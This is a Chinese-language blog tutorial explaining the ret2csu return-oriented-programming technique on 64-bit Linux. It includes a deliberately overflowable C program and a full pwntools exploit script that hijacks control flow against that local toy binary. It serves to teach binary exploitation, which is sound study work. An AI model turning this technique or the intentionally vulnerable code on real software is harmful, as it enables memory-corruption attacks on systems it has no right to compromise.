「PWN」最基础的 ret2csu
· 阅读需 4 分钟
0x01 为什么需要 ret2csu?
在 64bits 的 ELF 文件中,函数调用的前六个参数是分别存放在rdi、rsi、rdx、rcx、r8、r9这六个寄存器当中的,而我们在实际构建 ROP 时很难找到对应的 gadgets(大部分情况下是找不到 rdx),而 ret2csu 的关键点就在于使用__libc_csu_init()
来获取两个 gadgets 来进行万能传参(同时泄露出函数真实地址)
0x02 __libc_csu_init()
__libc_csu_init()
是用来对 libc 进行初始化操作的函数,而绝大部分软件都会调用到 libc,因此我们可以认为__libc_csu_init()
基本算程序通用的函数之一
。这里,我们随便打开一个 64bitELF 文件查看一下它。
.text:0000000000401250 loc_401250: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000401250 mov rdx, r14
.text:0000000000401253 mov rsi, r13
.text:0000000000401256 mov edi, r12d
.text:0000000000401259 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
.text:000000000040125D add rbx, 1
.text:0000000000401261 cmp rbp, rbx
.text:0000000000401264 jnz short loc_401250
.text:0000000000401266
.text:0000000000401266 loc_401266: ; CODE XREF: __libc_csu_init+35↑j
.text:0000000000401266 add rsp, 8
.text:000000000040126A pop rbx
.text:000000000040126B pop rbp
.text:000000000040126C pop r12
.text:000000000040126E pop r13
.text:0000000000401270 pop r14
.text:0000000000401272 pop r15
.text:0000000000401274 retn
从这里我们可以看出,我们可以让r15+rbx*8
为我们所要执行函数的指针,edi、rsi、rdx
可以分别作为函数的参数
在通常情况下,我们一般让rbx=0,rbp=1
,这样可以赋值r15
为指向函数的指针,如此一来便大大化简了我们使用 gadgets 的难度。
0x03 实战
在这里,我只准备对 ret2csu 的原理进行探究(因为还有半个小时就要打 HGAME 辣),所以我写了一个简单的程序,它会直接泄露出函数实际地址
source:
#include<stdio.h>
#include<unistd.h>
int vul(int a,int b,int c){
if(c == 233)
printf("Big Hacker!\n");
return 0;
}
int main(){
char buf[30];
int (*ptr)(int a,int b,int c) = vul;
printf("gift: %p\n", &ptr);
read(0,buf,0x100);
return 0;
}
编译:
gcc -m64 -fno-stack-protector -no-pie ret2csu_64bits.c -o ret2csu_64bits
很简单,我们只需要利用__libc_csu_init()
将 rdx 赋值为 233 就好了
而我们使用 ROPgadgets 可以发现是没有一个 gadgets 能让我们这样做的
这时候我们就需要进行 ret2csu 了
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload
值得注意的是,执行完 gadget1 之后,程序顺序执行会再次执行 gadget2,因此,我们需要再填充一次(7*0x8)
的垃圾数据防止出现错误
完整 payload:
from pwn import *
context.log_level = 'DEBUG'
context.arch = 'amd64'
context.os = 'linux'
sh = process('./ret2csu_64bits')
elf = ELF('./ret2csu_64bits')
sh.recvuntil(b"gift: ")
vul_addr = int(sh.recvline(), 16)
csu_gadget1_addr = 0x401250
csu_gadget2_addr = 0x401266
def csu(gadget1, gadget2, rbx, rbp, r12, r13, r14, r15, return_addr) -> bytes:
"""
:param gadget1: call
:param gadget2: pop
:param rbx: better be 0
:param rbp: better be 1
:param r12: edi
:param r13: rsi
:param r14: rdx
:param r15: function ptr
:param return_addr: return addr
:return: payload
"""
payload = b''
payload += p64(gadget2)
payload += p64(0)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)
payload += p64(gadget1)
# Panding Trash
payload += b'A'*0x38
payload += p64(return_addr)
return payload
gdb.attach(sh)
payload = b'A'*(0x20+0x08) + csu(csu_gadget1_addr, csu_gadget2_addr, 0, 1, 0, 0, 233, vul_addr, elf.sym['main'])
sh.sendline(payload)
sh.interactive()